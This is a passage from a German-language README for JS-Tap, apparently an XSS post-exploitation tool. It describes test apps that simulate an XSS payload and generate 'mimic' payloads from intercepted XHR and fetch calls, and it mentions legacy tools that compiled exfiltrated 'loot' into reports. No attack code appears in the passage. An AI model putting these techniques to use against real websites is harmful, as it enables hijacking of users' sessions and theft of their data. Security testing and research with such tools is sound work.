Eine weitere einfache App, ähnlich der MonkeyPatchApp, jedoch bewirken die XHR-API-Aufrufe in dieser Anwendung eine sichtbare Änderung (Änderung des "defcon"-Levels).<br>

Sie hat auch einen **JS-Tap-Payload einfügen**-Button, der einen XSS-Exploit simuliert. Der gesamte Code ist in der Datei **defconServer.py** enthalten, einschließlich des JavaScripts und HTMLs.<br>

Diese Anwendung ist ein guter Test für die automatische Generierung von Payloads aus abgefangenen XHR-Netzwerkaufrufen.```bash
python3 tools/defconApp/defconServer.py
```
### SpaTestApp
Eine Single-Page-Application (SPA)-Testanwendung, die Fetch-API-Aufrufe für CRUD-Operationen verwendet. Nützlich zum Testen von Monkeypatching von Fetch-basierten SPAs und zum automatischen Generieren von Mimic-Payloads aus abgefangenen API-Aufrufen.```bash
python3 tools/spaTestApp/spaServer.py
```
### formParser.py
Legacy-Tool zur Analyse von HTML-Formularen und zum Extrahieren ihrer Parameter. Wurde durch die Mimic-Funktion ersetzt, die automatisch benutzerdefinierte Payloads generiert.

### generateIntelReport.py
Legacy-Tool, das vor der Web-Benutzeroberfläche von JS-Tap verwendet wurde. Das generateIntelReport-Skript durchkämmte die gesammelte Beute und erstellte einen PDF-Bericht. Nicht mehr funktionsfähig – der Großteil der Beute wird jetzt in der Datenbank gespeichert, mit Ausnahme von exfiltriertem HTML-Code und Screenshots.

## Kontakt
@hoodoer<br>
[email protected]